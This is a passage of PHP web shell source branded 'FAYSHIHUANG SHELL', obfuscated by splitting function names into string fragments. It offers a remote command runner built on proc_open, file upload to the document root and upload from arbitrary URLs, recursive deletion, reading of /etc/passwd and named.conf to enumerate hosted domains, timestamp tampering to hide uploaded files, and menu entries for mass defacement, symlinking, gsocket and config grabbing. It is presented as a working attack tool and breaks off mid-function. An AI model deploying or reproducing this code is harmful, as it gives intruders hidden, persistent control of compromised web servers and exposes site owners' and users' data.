	border-left-color: var(--primary-color);
}

.sidebar-nav a i {
	width: 18px;
	text-align: center;
	font-size: 0.85rem;
}

.sidebar-footer {
	padding: 14px 20px;
	border-top: 1px solid var(--border-color);
	font-size: 0.75rem;
	color: var(--text-muted);
}

.main-content {
	flex: 1;
	overflow-y: auto;
	padding: 24px 32px;
	height: 100vh;
}

@media (max-width: 768px) {
	.sidebar {
		width: 200px;
		min-width: 200px;
	}
	.main-content {
		padding: 16px;
	}
}

@media (max-width: 576px) {
	.app-layout {
		flex-direction: column;
	}
	.sidebar {
		width: 100%;
		min-width: 100%;
		height: auto;
		max-height: 40vh;
	}
	.main-content {
		height: 60vh;
	}
}

.info-card {
	background: var(--card-bg);
	border-radius: 8px;
	padding: 20px;
	margin-bottom: 20px;
	border: 1px solid var(--border-color);
	transition: all 0.2s ease;
}

.info-card:hover {
	border-color: var(--accent-color);
}

.info-card h5 {
	color: var(--primary-color);
	font-weight: 600;
	margin-bottom: 15px;
	font-size: 0.95rem;
}

.system-info {
	background: var(--card-bg);
	border-radius: 8px;
	padding: 20px;
	margin-bottom: 20px;
	border: 1px solid var(--border-color);
	font-size: 0.9rem;
	line-height: 1.8;
}

.badge-custom {
	background: var(--card-bg);
	color: var(--primary-color);
	padding: 4px 10px;
	border-radius: 4px;
	font-weight: 500;
	font-size: 0.75rem;
	border: 1px solid var(--border-color);
}

.breadcrumb-custom {
	background: var(--card-bg);
	padding: 12px 16px;
	border-radius: 6px;
	margin-bottom: 20px;
	border: 1px solid var(--border-color);
}

.breadcrumb-custom a {
	color: var(--secondary-color);
	text-decoration: none;
	font-weight: 400;
	transition: color 0.2s ease;
}

.breadcrumb-custom a:hover {
	color: var(--primary-color);
}

.form-control {
	border: 1px solid var(--border-color);
	border-radius: 6px;
	padding: 10px 14px;
	transition: all 0.2s ease;
	background: var(--bg-black);
	color: var(--text-light);
	font-family: 'Space Grotesk', sans-serif;
	font-size: 0.9rem;
}

.form-control:focus {
	border-color: var(--accent-color);
	background: var(--card-bg);
	color: var(--text-light);
	outline: none;
}

.btn-primary-custom {
	background: var(--primary-color);
	border: none;
	color: var(--bg-black);
	padding: 10px 20px;
	border-radius: 6px;
	font-weight: 600;
	transition: all 0.2s ease;
	font-size: 0.9rem;
	cursor: pointer;
}

.btn-primary-custom:hover {
	background: var(--secondary-color);
}

.alert-success-custom {
	background: var(--card-bg);
	border-left: 3px solid var(--success-color);
	border-right: 1px solid var(--border-color);
	border-top: 1px solid var(--border-color);
	border-bottom: 1px solid var(--border-color);
	color: var(--success-color);
	padding: 12px 16px;
	border-radius: 6px;
	margin-bottom: 15px;
	text-align: center;
	font-weight: 400;
}

.alert-danger-custom {
	background: var(--card-bg);
	border-left: 3px solid var(--danger-color);
	border-right: 1px solid var(--border-color);
	border-top: 1px solid var(--border-color);
	border-bottom: 1px solid var(--border-color);
	color: var(--danger-color);
	padding: 12px 16px;
	border-radius: 6px;
	margin-bottom: 15px;
	text-align: center;
	font-weight: 400;
}

.alert-warning-custom {
	background: var(--card-bg);
	border-left: 3px solid var(--warning-color);
	border-right: 1px solid var(--border-color);
	border-top: 1px solid var(--border-color);
	border-bottom: 1px solid var(--border-color);
	color: var(--warning-color);
	padding: 12px 16px;
	border-radius: 6px;
	margin-bottom: 15px;
	text-align: center;
	font-weight: 400;
}

.table {
	background: var(--bg-black) !important;
	border-radius: 8px;
	overflow: hidden;
	border: 1px solid var(--border-color);
}

.table-bordered {
	border: 1px solid var(--border-color) !important;
}

.table-bordered td,
.table-bordered th {
	border: 1px solid var(--border-color) !important;
	background: var(--bg-black) !important;
}

.table thead th {
	background: var(--card-bg) !important;
	color: var(--primary-color) !important;
	font-weight: 600;
	border-bottom: 2px solid var(--border-color);
	padding: 14px;
	font-size: 0.85rem;
}

.table tbody tr {
	border-bottom: 1px solid var(--border-color);
	transition: background 0.2s ease;
	background: var(--bg-black) !important;
}

.table tbody tr:hover {
	background: var(--card-bg) !important;
}

.table tbody td {
	padding: 12px;
	color: var(--text-light) !important;
	font-size: 0.9rem;
	background: var(--bg-black) !important;
}

.table tbody td a {
	color: var(--secondary-color) !important;
	text-decoration: none;
	font-weight: 400;
	transition: color 0.2s ease;
}

.table tbody td a:hover {
	color: var(--primary-color) !important;
}

.table .text-center {
	color: var(--text-light) !important;
}

.table .text-success {
	color: var(--success-color) !important;
}

.table .text-danger {
	color: var(--danger-color) !important;
}

.footer-text {
	color: var(--text-muted);
	margin-bottom: 5px;
	font-size: 0.85rem;
}

.footer-link {
	color: var(--secondary-color);
	text-decoration: none;
	font-weight: 500;
	transition: color 0.2s ease;
}

.footer-link:hover {
	color: var(--primary-color);
}

.text-gold {
	color: #d4af37;
	font-weight: 500;
}

.text-success {
	color: var(--success-color);
	font-weight: 500;
}

.text-danger {
	color: var(--danger-color);
	font-weight: 500;
}

pre {
	background: var(--bg-black);
	border: 1px solid var(--border-color);
	border-radius: 6px;
	padding: 16px;
	overflow-x: auto;
	color: var(--text-light);
	font-family: 'JetBrains Mono', 'Monaco', 'Courier New', monospace;
	font-size: 0.85rem;
	letter-spacing: -0.01em;
}

.btn-action {
	background: transparent;
	border: 1px solid var(--border-color);
	color: var(--secondary-color);
	padding: 6px 10px;
	border-radius: 4px;
	transition: all 0.2s ease;
	font-size: 0.8rem;
}

.btn-action:hover {
	background: var(--card-bg);
	border-color: var(--accent-color);
	color: var(--primary-color);
}

.btn-action i {
	font-size: 0.85rem;
}

.badge {
	padding: 4px 8px;
	border-radius: 4px;
	font-weight: 500;
	font-size: 0.7rem;
}

.bg-success {
	background: rgba(34, 197, 94, 0.1) !important;
	color: var(--success-color) !important;
	border: 1px solid rgba(34, 197, 94, 0.3);
}

.bg-danger {
	background: rgba(239, 68, 68, 0.1) !important;
	color: var(--danger-color) !important;
	border: 1px solid rgba(239, 68, 68, 0.3);
}

pre::-webkit-scrollbar {
	height: 8px;
}

pre::-webkit-scrollbar-track {
	background: #0a0a0a;
}

pre::-webkit-scrollbar-thumb {
	background: var(--primary-color);
	border-radius: 4px;
}

pre::-webkit-scrollbar-thumb:hover {
	background: var(--secondary-color);
}
</style>
</head>
<body>
<div class="app-layout">
<?php
$gcw = "ge"."tc"."wd";
$srl = "st"."r_r"."ep"."la"."ce";
if(isset($_GET['loknya'])){
	$lokasi = $_GET['loknya'];
	$lokdua = $_GET['loknya'];
} else {
	$lokasi = $gcw();
	$lokdua = $gcw();
}
$lokasi = $srl('\\','/',$lokasi);
$sn = $_SERVER['SC'.'RIP'.'T_N'.'AME'];
echo '<aside class="sidebar">';
echo '<div class="sidebar-brand"><i class="fas fa-terminal"></i> FAYSHIHUANG SHELL</div>';
echo '<nav class="sidebar-nav">';
echo '<a href="'.$sn.'"><i class="fas fa-home"></i> HO'.'ME</a>';
echo '<a href="'.$sn.'?loknya='.$lokasi.'&opsi=bekup"><i class="fas fa-save"></i> BA'.'CKUP SH'.'ELL</a>';
echo '<a href="'.$sn.'?loknya='.$lokasi.'&opsi=lompat"><i class="fas fa-rocket"></i> JU'.'MP'.'ING</a>';
echo '<a href="'.$sn.'?loknya='.$lokasi.'&opsi=mdf"><i class="fas fa-fire"></i> MA'.'SS DE'.'FA'.'CE</a>';
echo '<a href="'.$sn.'?loknya='.$lokasi.'&opsi=esyeem"><i class="fas fa-link"></i> SY'.'ML'.'INK</a>';
echo '<a href="'.$sn.'?loknya='.$lokasi.'&opsi=cpanel"><i class="fas fa-server"></i> CP'.'AN'.'EL UA'.'PI</a>';
echo '<a href="'.$sn.'?loknya='.$lokasi.'&opsi=gsocket"><i class="fas fa-plug"></i> GS'.'OC'.'KET</a>';
echo '<a href="'.$sn.'?loknya='.$lokasi.'&opsi=adminer"><i class="fas fa-database"></i> AD'.'MI'.'NER</a>';
echo '<a href="'.$sn.'?loknya='.$lokasi.'&opsi=cron"><i class="fas fa-clock"></i> CR'.'ON JOB</a>';
echo '<a href="'.$sn.'?loknya='.$lokasi.'&opsi=config"><i class="fas fa-search"></i> CO'.'NFI'.'G GR'.'AB</a>';
echo '<a href="'.$sn.'?loknya='.$lokasi.'&opsi=wpdash"><i class="fab fa-wordpress"></i> WP DA'.'SHBO'.'ARD</a>';
echo '</nav>';
echo '<div class="sidebar-footer"><div class="footer-text">Fay</div><a href="https://t.me/faylimm" target="_blank" class="footer-link">@fayshihuang</a></div>';
echo '</aside>';
echo '<main class="main-content">';
echo '<div class="system-info">';
set_time_limit(0);
error_reporting(0);

$gcw = "ge"."tc"."wd";
$exp = "ex"."plo"."de";
$fpt = "fi"."le_p"."ut_co"."nte"."nts";
$fgt = "f"."ile_g"."et_c"."onten"."ts";
$sts = "s"."trip"."slash"."es";
$scd = "sc"."a"."nd"."ir";
$fxt = "fi"."le_"."exis"."ts";
$idi = "i"."s_d"."ir";
$ulk = "un"."li"."nk";
$ifi = "i"."s_fi"."le";
$sub = "subs"."tr";
$spr = "sp"."ri"."ntf";
$fp = "fil"."epe"."rms";
$chm = "ch"."m"."od";
$ocd = "oc"."td"."ec";
$isw = "i"."s_wr"."itab"."le";
$idr = "i"."s_d"."ir";
$ird = "is"."_rea"."da"."ble";
$isr = "is_"."re"."adab"."le";
$fsz = "fi"."lesi"."ze";
$rd = "r"."ou"."nd";
$igt = "in"."i_g"."et";
$fnct = "fu"."nc"."tion"."_exi"."sts";
$rad = "RE"."M"."OTE_AD"."DR";
$rpt = "re"."al"."pa"."th";
$bsn = "ba"."se"."na"."me";
$srl = "st"."r_r"."ep"."la"."ce";
$sps = "st"."rp"."os";
$mkd = "m"."kd"."ir";
$pma = "pr"."eg_ma"."tch_"."al"."l";
$aru = "ar"."ray_un"."ique";
$ctn = "co"."unt";
$urd = "ur"."ldeco"."de";
$pgw = "pos"."ix_g"."etp"."wui"."d";
$fow = "fi"."leow"."ner";
$tch = "to"."uch";
$h2b = "he"."x2"."bin";
$hsc = "ht"."mlspe"."cialcha"."rs";
$ftm = "fi"."lemti"."me";
$ars = "ar"."ra"."y_sl"."ice";
$arr = "ar"."ray_"."ra"."nd";
$fgr = "fi"."legr"."oup";
$mdr = "mkd"."ir";

$wb = (isset($_SERVER['H'.'T'.'TP'.'S']) && $_SERVER['H'.'T'.'TP'.'S'] === 'o'.'n' ? "ht"."tp"."s" : "ht"."tp") . "://".$_SERVER['HT'.'TP'.'_H'.'OS'.'T'];

$disfunc = @$igt("dis"."abl"."e_f"."unct"."ion"."s");
if (empty($disfunc)) {
	$disf = '<span class="badge bg-success">NONE</span>';
} else {
	$disf = '<span class="badge bg-danger">'.$disfunc.'</span>';
}

function author() {
	echo '<footer class="text-center mt-5 mb-3">
		<div class="footer-text">Fay</div>
		<div><a href="https://t.me/faylimm" target="_blank" class="footer-link">@fayshihuang</a></div>
	</footer>';
	exit();
}

function cdrd() {
	if (isset($_GET['loknya'])) {
		$lokasi = $_GET['loknya'];
	} else {
		$lokasi = "ge"."t"."cw"."d";
		$lokasi = $lokasi();
	}
	$b = "i"."s_w"."ri"."tab"."le";
	if ($b($lokasi)) {
		return "<font color='green'>Wr"."itea"."ble</font>";
	} else {
		return "<font color='red'>Wr"."itea"."ble</font>";
	}
}

function crt() {
	$a = "is"."_w"."ri"."tab"."le";
	if ($a($_SERVER['DO'.'CU'.'ME'.'NT'.'_RO'.'OT'])) {
		return "<font color='green'>Wr"."itea"."ble</font>";
	} else {
		return "<font color='red'>Wr"."itea"."ble</font>";
	}
}

function xrd($lokena) {
	$a = "s"."ca"."nd"."ir";
    $items = $a($lokena);
    foreach ($items as $item) {
        if ($item === '.' || $item === '..') {
            continue;
        }
        $b = "is"."_di"."r";
        $loknya = $lokena.'/'.$item;
        if ($b($loknya)) {
            xrd($loknya);
        } else {
        	$c = "u"."nl"."in"."k";
            $c($loknya);
        }
    }
    $d = "rm"."di"."r";
    $d($lokena);
}

function cfn($fl) {
	$a = "ba"."sena"."me";
	$b = "pat"."hinf"."o";
	$c = $b($a($fl), PATHINFO_EXTENSION);
	if ($c == "zip") {
		return '<i class="fas fa-file-zipper" style="color: #808080"></i>';
	} elseif (preg_match("/jpeg|jpg|png|ico/im", $c)) {
		return '<i class="fas fa-file-image" style="color: #808080"></i>';
	} elseif ($c == "txt") {
		return '<i class="fas fa-file-lines" style="color: #808080"></i>';
	} elseif ($c == "pdf") {
		return '<i class="fas fa-file-pdf" style="color: #808080"></i>';
	} elseif ($c == "html") {
		return '<i class="fas fa-file-code" style="color: #808080"></i>';
	}
	else {
		return '<i class="fas fa-file" style="color: #808080"></i>';
	}
}

function ipsrv() {
	$a = "g"."eth"."ost"."byna"."me";
	$b = "fun"."cti"."on_"."exis"."ts";
	$c = "S"."ERVE"."R_AD"."DR";
	$d = "SE"."RV"."ER_N"."AM"."E";
	if ($b($a)) {
		return $a($_SERVER[$d]);
	} else {
		return $a($_SERVER[$c]);
	}
}

function ggr($fl) {
	$a = "fun"."cti"."on_"."exis"."ts";
	$b = "po"."si"."x_ge"."tgr"."gid";
	$c = "fi"."le"."gro"."up";
	if ($a($b)) {
		if (!$a($c)) {
			return "?";
		}
		$d = $b($c($fl));
		if (empty($d)) {
			$e = $c($fl);
			if (empty($e)) {
				return "?";
			} else {
				return $e;
			}
		} else {
			return $d['name'];
		}
	} elseif ($a($c)) {
		return $c($fl);
	} else {
		return "?";
	}
}

function gor($fl) {
	$a = "fun"."cti"."on_"."exis"."ts";
	$b = "po"."s"."ix_"."get"."pwu"."id";
	$c = "fi"."le"."o"."wn"."er";
	if ($a($b)) {
		if (!$a($c)) {
			return "?";
		}
		$d = $b($c($fl));
		if (empty($d)) {
			$e = $c($fl);
			if (empty($e)) {
				return "?";
			} else {
				return $e;
			}
		} else {
			return $d['name'];
		}
	} elseif ($a($c)) {
		return $c($fl);
	} else {
		return "?";
	}
}

function fdt($fl) {
	$a = "da"."te";
	$b = "fil"."emt"."ime";
    return $a("F d Y H:i:s", $b($fl));
}

function dunlut($fl) {
	$a = "fil"."e_exi"."sts";
	$b = "ba"."sena"."me";
	$c = "fi"."les"."ize";
	$d = "re"."ad"."fi"."le";
	if ($a($fl) && isset($fl)) {
		header('Con'.'tent-Descr'.'iption: Fi'.'le Tra'.'nsfer');
		header("Conte'.'nt-Control:public");
		header('Cont'.'ent-Type: a'.'pp'.'licat'.'ion/oc'.'tet-s'.'tream');
		header('Cont'.'ent-Dis'.'posit'.'ion: at'.'tachm'.'ent; fi'.'lena'.'me="'.$b($fl).'"');
		header('Exp'.'ires: 0');
		header("Ex"."pired:0");
		header('Cac'.'he-Cont'.'rol: must'.'-revali'.'date');
		header("Cont"."ent-Tran"."sfer-Enc"."oding:bi"."nary");
		header('Pra'.'gma: pub'.'lic');
		header('Con'.'ten'.'t-Le'.'ngth: ' .$c($fl));
		flush();
		$d($fl);
		exit;
	} else {
		return "Fi"."le Not F"."ound !";
	}
}

function komend($kom, $lk) {
	$x = "pr"."eg_"."mat"."ch";
	$xx = "2".">"."&"."1";
	if (!$x("/".$xx."/i", $kom)) {
		$kom = $kom." ".$xx;
	}
	$a = "fu"."ncti"."on_"."ex"."is"."ts";
	$b = "p"."ro"."c_op"."en";
	$c = "htm"."lspe"."cialc"."hars";
	$d = "s"."trea"."m_g"."et_c"."ont"."ents";
	if ($a($b)) {
		$ps = $b($kom, array(0 => array("pipe", "r"), 1 => array("pipe", "w"), 2 => array("pipe", "r")), $meki, $lk);
		return "<pre>".$c($d($meki[1]))."</pre>";
	} else {
		return "pr"."oc"."_op"."en f"."unc"."tio"."n i"."s di"."sabl"."ed !";
	}
}

function komenb($kom, $lk) {
	$x = "pr"."eg_"."mat"."ch";
	$xx = "2".">"."&"."1";
	if (!$x("/".$xx."/i", $kom)) {
		$kom = $kom." ".$xx;
	}
	$a = "fu"."ncti"."on_"."ex"."is"."ts";
	$b = "p"."ro"."c_op"."en";
	$c = "htm"."lspe"."cialc"."hars";
	$d = "s"."trea"."m_g"."et_c"."ont"."ents";
	if ($a($b)) {
		$ps = $b($kom, array(0 => array("pipe", "r"), 1 => array("pipe", "w"), 2 => array("pipe", "r")), $meki, $lk);
		return $d($meki[1]);
	} else {
		return "pr"."oc"."_op"."en f"."unc"."tio"."n i"."s di"."sabl"."ed !";
	}
}

function gtd() {
	$a = "is_rea"."dable";$b = "fi"."le_ge"."t_con"."ten"."ts";
	$c = "pr"."eg_ma"."tch_"."al"."l";$d = "fil"."e_exi"."sts";
	$e = "sca"."ndi"."r";$f = "co"."unt";
	$g = "arr"."ay_un"."ique";$h = "sh"."el"."l_"."ex"."ec";
	$i = "pr"."eg_"."mat"."ch";
	if ($a("/e"."tc"."/na"."me"."d.co"."nf")) {
		$a = $b("/e"."tc"."/na"."me"."d.co"."nf");
		$c("/\/v"."ar\/na"."me"."d\/(.*?)\.d"."b/i", $a, $b);
		$b = $b[1]; return $f($g($b))." Dom"."ains";
	} elseif ($d("/va"."r/na"."med"."/na"."me"."d.lo"."cal")) {
		$a = $e("/v"."ar/"."nam"."ed");
		return $f($a)." Dom"."ains";
	} elseif ($a("/e"."tc"."/p"."as"."sw"."d")) {
		$a = $b("/e"."tc"."/p"."as"."sw"."d");
		if ($i("/\/vh"."os"."ts\//i", $a) && $i("/\/bin\/false/i", $a)) {
			$c("/\/vh"."os"."ts\/(.*?):/i", $a, $b);
			$b = $b[1]; return $f($g($b))." Dom"."ai"."ns";
		} else {
			$c("/\/ho"."me\/(.*?):/i", $a, $b);
			$b = $b[1]; return $f($g($b))." Dom"."ai"."ns";
		}
	} elseif (!empty($h("ca"."t /e"."tc/"."pa"."ss"."wd"))) {
		$a = $h("ca"."t /e"."tc/"."pa"."ss"."wd");
		if ($i("/\/vh"."os"."ts\//i", $a) && $i("/\/bin\/false/i", $a)) {
			$c("/\/vh"."os"."ts\/(.*?):/i", $a, $b);
			$b = $b[1]; return $f($g($b))." Dom"."ai"."ns";
		} else {
			$c("/\/ho"."me\/(.*?):/i", $a, $b);
			$b = $b[1]; return $f($g($b))." Dom"."ai"."ns";
		}
	} else {
		return "0 Domains";
	}
}

function esyeem($tg, $lk) {
	$a = "fun"."cti"."on_e"."xis"."ts";
	$b = "p"."ro"."c_op"."en";
	$c = "htm"."lspe"."cialc"."hars";
	$d = "s"."trea"."m_g"."et_c"."ont"."ents";
	$e = "sy"."mli"."nk";
	if ($a("sy"."mli"."nk")) {
		return $e($tg, $lk);
	} elseif ($a("pr"."oc_op"."en")) {
		$ps = $b("l"."n -"."s ".$tg." ".$lk, array(0 => array("pipe", "r"), 1 => array("pipe", "w"), 2 => array("pipe", "r")), $meki, $lk);
		return $c($d($meki[1]));
	} else {
		return "Sy"."mli"."nk Fu"."nct"."ion is Di"."sab"."led !";
	}
}

function sds($sads, &$results = array()) {
	$iwr = "is"."_wri"."tab"."le";
	$ira = "is_r"."eada"."ble";
	$ph = "pr"."eg_ma"."tch";
	$sa = "sc"."and"."ir";
	$rh = "re"."alp"."ath";
	$idr = "i"."s_d"."ir";
	if (!$ira($sads) || !$iwr($sads) || $ph("/\/app"."licat"."ion\/|\/sy"."st"."em/i", $sads)) {
		return false;
	}
    $files = $sa($sads);

    foreach ($files as $key => $value) {
        $path = $rh($sads . DIRECTORY_SEPARATOR . $value);
        if (!$idr($path)) {
            //$results[] = $path;
        } else if ($value != "." && $value != "..") {
            sds($path, $results);
            $results[] = $path;
        }
    }

    return $results;
}

function crul($web) {
	$cr = "cu"."rl_set"."opt";
	$cx = "cu"."rl_"."ex"."ec";
	$ch = "cu"."rl_clo"."se";
	$ceha = curl_init();
	$cr($ceha, CURLOPT_URL, $web);
	$cr($ceha, CURLOPT_RETURNTRANSFER, 1);
	return $cx($ceha);
	$ch($ceha);
}

function green($text) {
	echo '<div class="alert-success-custom"><i class="fas fa-check-circle"></i> '.$text.'</div>';
}

function red($text) {
	echo '<div class="alert-danger-custom"><i class="fas fa-exclamation-circle"></i> '.$text.'</div>';
}

function oren($text) {
	return '<div class="alert-warning-custom"><i class="fas fa-exclamation-triangle"></i> '.$text.'</div>';
}

function tuls($nm, $lk) {
	return "[ <a href='".$lk."'>".$nm."</a> ]&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;";
}

function cfgSc($dir, $patterns, &$results = array(), $depth = 0) {
	if ($depth > 5) return $results;
	$ira = "is_r"."eada"."ble";
	$scd = "sc"."and"."ir";
	$ifi = "i"."s_fi"."le";
	if (!$ira($dir)) return $results;
	$files = @$scd($dir);
	if (!is_array($files)) return $results;
	foreach ($files as $file) {
		if ($file == '.' || $file == '..') continue;
		$path = $dir.'/'.$file;
		if ($ifi($path)) {
			$bn = "ba"."sena"."me";
			$fn = $bn($path);
			foreach ($patterns as $p) {
				if ($fn === $p) {
					$results[] = $path;
					break;
				}
			}
		} else {
			cfgSc($path, $patterns, $results, $depth + 1);
		}
	}
	return $results;
}

echo '<div class="row mb-3">';
echo '<div class="col-md-6"><strong><i class="fas fa-server"></i> Se'.'rv'.'er'.' I'.'P:</strong> <span class="text-gold">'.ipsrv().'</span></div>';
echo '<div class="col-md-6"><strong><i class="fas fa-user"></i> Yo'.'ur I'.'P:</strong> <span class="text-gold">'.$_SERVER[$rad].'</span> <a href="?opsi=re'.'pip" class="badge badge-custom ms-2">Re'.'ver'.'se I'.'P</a></div>';
echo '</div>';
echo '<div class="row mb-3">';
echo '<div class="col-md-6"><strong><i class="fas fa-globe"></i> We'.'b S'.'erv'.'er:</strong> <span class="text-gold">'.$_SERVER['SE'.'RV'.'ER_'.'SOF'.'TWA'.'RE'].'</span></div>';
$unm = "ph"."p_u"."na"."me";
echo '<div class="col-md-6"><strong><i class="fas fa-desktop"></i> Sys'.'tem:</strong> <span class="text-gold">'.@$unm().'</span></div>';
echo '</div>';
echo '<div class="row mb-3">';
$gcu = "g"."et_"."curr"."ent"."_us"."er";
$gmu = "g"."et"."my"."ui"."d";
echo '<div class="col-md-6"><strong><i class="fas fa-user-circle"></i> Us'.'er:</strong> <span class="text-gold">'.@$gcu().' ('.@$gmu().')</span></div>';
$phv = "ph"."pve"."rsi"."on";
echo '<div class="col-md-6"><strong><i class="fas fa-code"></i> PH'.'P V'.'er'.'sio'.'n:</strong> <span class="text-gold">'.@$phv().'</span></div>';
echo '</div>';
echo '<div class="row mb-3">';
echo '<div class="col-12"><strong><i class="fas fa-ban"></i> Dis'.'abl'.'e Fu'.'nct'.'ion:</strong> '.$disf.'</div>';
echo '</div>';
echo '<div class="row mb-3">';
echo '<div class="col-md-6"><strong><i class="fas fa-globe"></i> Dom'.'ain'.'s:</strong> <span class="text-gold">'.(empty(gtd()) ? '0 Dom'.'ains' : gtd()).'</span></div>';
echo '<div class="col-md-6"><strong><i class="fas fa-tools"></i> Extensions:</strong> ';
if (@$fnct("my"."sql_co"."nne"."ct")) {
    echo '<span class="badge bg-success me-1">MySQL</span>';
} else {
    echo '<span class="badge bg-danger me-1">MySQL</span>';
}
if (@$fnct("cu"."rl"."_in"."it")) {
    echo '<span class="badge bg-success me-1">cURL</span>';
} else {
    echo '<span class="badge bg-danger me-1">cURL</span>';
}
if (@$fxt("/"."us"."r/b"."in/w"."get")) {
    echo '<span class="badge bg-success me-1">WG'.'ET</span>';
} else {
    echo '<span class="badge bg-danger me-1">WG'.'ET</span>';
}
if (@$fxt("/u"."sr/b"."in"."/pe"."rl")) {
    echo '<span class="badge bg-success me-1">Pe'.'rl</span>';
} else {
    echo '<span class="badge bg-danger me-1">Pe'.'rl</span>';
}
if (@$fxt("/"."us"."r/b"."in/p"."ytho"."n2")) {
    echo '<span class="badge bg-success me-1">Pyt'.'ho'.'n</span>';
} else {
    echo '<span class="badge bg-danger me-1">Pyt'.'ho'.'n</span>';
}
if (@$fxt("/"."us"."r/b"."in/s"."u"."d"."o")) {
    echo '<span class="badge bg-success me-1">S'.'u'.'do</span>';
} else {
    echo '<span class="badge bg-danger me-1">S'.'u'.'do</span>';
}
if (@$fxt("/"."us"."r/b"."in/p"."k"."e"."x"."e"."c")) {
    echo '<span class="badge bg-success me-1">Pk'.'e'.'x'.'e'.'c</span>';
} else {
    echo '<span class="badge bg-danger me-1">Pk'.'e'.'x'.'e'.'c</span>';
}
echo '</div>';
echo '</div>';
echo '</div>';
echo '<div class="breadcrumb-custom"><strong><i class="fas fa-folder-open"></i> Di'.'rect'.'ory:</strong> ';

foreach($_POST as $key => $value){
	$_POST[$key] = $sts($value);
}

$lokasi = $srl('\\','/',$lokasi);
$lokasis = $exp('/',$lokasi);
$lokasinya = @$scd($lokasi);

foreach($lokasis as $id => $lok){
	if($lok == '' && $id == 0){
		$a = true;
		echo '<a href="?loknya=/">/</a>';
		continue;
	}
	if($lok == '') continue;
	echo '<a href="?loknya=';
	for($i=0;$i<=$id;$i++){
	echo "$lokasis[$i]";
	if($i != $id) echo "/";
} 
echo '">'.$lok.'</a>/';
}

echo '</div>';
if (isset($_POST['upwkwk'])) {
	if (isset($_POST['berkasnya'])) {
		if ($_POST['di'.'rnya'] == "2") {
			$lokasi = $_SERVER['DOC'.'UME'.'NT_R'.'OOT'];
		}
		if (empty($_FILES['ber'.'kas']['name'])) {
			echo oren("Fi"."le not Se"."lected !");
		} else {
			$tgn = $ftm($lokasi);
			$data = @$fpt($lokasi."/".$_FILES['ber'.'kas']['name'], @$fgt($_FILES['ber'.'kas']['tm'.'p_na'.'me']));
				if ($fxt($lokasi."/".$_FILES['ber'.'kas']['name'])) {
					$fl = $lokasi."/".$_FILES['ber'.'kas']['name'];
					green("Fi"."le Upl"."oa"."ded! <strong>".$fl."</strong>");
					if ($sps($lokasi, $_SERVER['DO'.'CU'.'M'.'ENT'.'_R'.'OO'.'T']) !== false) {
						$lwb = $srl($_SERVER['DO'.'CU'.'M'.'ENT'.'_R'.'OO'.'T'], $wb."/", $fl);
						echo '<div class="alert-success-custom">Li'.'nk: <a href="'.$lwb.'" class="text-gold">'.$lwb.'</a></div>';
					}
					@$tch($lokasi, $tgn);@$tch($lokasi."/".$_FILES['ber'.'kas']['name'], $tgn);
				} else {
					red("Fa"."ile"."d to Up"."lo"."ad !");
			}
		}
	} elseif (isset($_POST['linknya'])) {
		if (empty($_POST['namalink'])) {
			echo oren("Fi"."lename cannot be empty !");
		} elseif (empty($_POST['darilink'])) {
			echo oren("Li"."nk cannot be empty !");
		} else {
			if ($_POST['di'.'rnya'] == "2") {
			$lokasi = $_SERVER['DOC'.'UME'.'NT_R'.'OOT'];
			}
				$tgn = $ftm($lokasi);
				$data = @$fpt($lokasi."/".$_POST['namalink'], @$fgt($_POST['darilink']));
				if ($fxt($lokasi."/".$_POST['namalink'])) {
					$fl = $lokasi."/".$_POST['namalink'];
					green("Fi"."le Uplo"."ade"."d! <strong>".$fl."</strong>");
					if ($sps($lokasi, $_SERVER['DO'.'CU'.'M'.'ENT'.'_R'.'OO'.'T']) !== false) {
						$lwb = $srl($_SERVER['DO'.'CU'.'M'.'ENT'.'_R'.'OO'.'T'], $wb."/", $fl);
						echo '<div class="alert-success-custom">Li'.'nk: <a href="'.$lwb.'" class="text-gold">'.$lwb.'</a></div>';
					}
					@$tch($lokasi, $tgn);@$tch($lokasi."/".$_POST['namalink'], $tgn);
				} else {
					red("Fa"."iled to Up"."lo"."ad !");
				}
		}
	}
}

echo '<div class="info-card">';
echo '<h5><i class="fas fa-upload"></i> Uplo'.'ad Fi'.'le</h5>';
echo '<form enctype="multip'.'art/form'.'-data" method="p'.'ost" class="mb-0">';
echo '<div class="mb-3">';
echo '<div class="form-check form-check-inline">';
echo '<input class="form-check-input" type="radio" value="1" name="di'.'rnya" id="dir1" checked>';
echo '<label class="form-check-label" for="dir1">cur'.'ren'.'t_di'.'r ['.cdrd().']</label>';
echo '</div>';
echo '<div class="form-check form-check-inline">';
echo '<input class="form-check-input" type="radio" value="2" name="di'.'rnya" id="dir2">';
echo '<label class="form-check-label" for="dir2">docu'.'men'.'t_ro'.'ot ['.crt().']</label>';
echo '</div>';
echo '</div>';
echo '<input type="hidden" name="upwkwk" value="aplod">';
echo '<div class="row g-2 mb-3">';
echo '<div class="col-md-8">';
echo '<input type="fi'.'le" name="berkas" class="form-control">';
echo '</div>';
echo '<div class="col-md-4">';
echo '<button type="submit" name="berkasnya" class="btn btn-primary-custom w-100"><i class="fas fa-upload"></i> Up'.'load</button>';
echo '</div>';
echo '</div>';
echo '<div class="row g-2">';
echo '<div class="col-md-5">';
echo '<input type="text" name="darilink" class="form-control" placeholder="https://go'.'ogle.com/upl'.'oad.txt">';
echo '</div>';
echo '<div class="col-md-3">';
echo '<input type="text" name="namalink" class="form-control" placeholder="fi'.'le.txt">';
echo '</div>';
echo '<div class="col-md-4">';
echo '<button type="submit" name="linknya" class="btn btn-primary-custom w-100"><i class="fas fa-link"></i> Upload from URL</button>';
echo '</div>';
echo '</div>';
echo '</form>';
echo '</div>';
echo '<div class="info-card">';
echo '<h5><i class="fas fa-terminal"></i> Co'.'mm'.'an'.'d</h5>';
echo '<form method="post" enctype="appl'.'ication/x-ww'.'w-form-u'.'rlencoded" class="mb-0">';
echo '<div class="input-group">';
echo '<input type="text" name="komend" class="form-control" value="';
if (isset($_POST['komend'])) {
	echo $hsc($_POST['komend']);
} else {
	echo "un"."am"."e -"."a";
}
echo '">';
echo '<button type="submit" name="komends" class="btn btn-primary-custom"><i class="fas fa-play"></i> Run</button>';
echo '</div>';
echo '</form>';
echo '</div>';

if (isset($_GET['loknya']) && $_GET['opsi'] == "lompat") {
	if ($ird("/e"."tc"."/p"."as"."sw"."d")) {
		$fjp = $fgt("/e"."tc"."/p"."as"."sw"."d");
	} elseif (!empty(komenb("ca"."t /e"."tc/"."pa"."ss"."wd", $lokasi))) {
		$fjp = komenb("ca"."t /e"."tc/"."pa"."ss"."wd", $lokasi);
	} else {
		die(red("[!] Gagal Mengambil Di"."rect"."ory !"));
	}
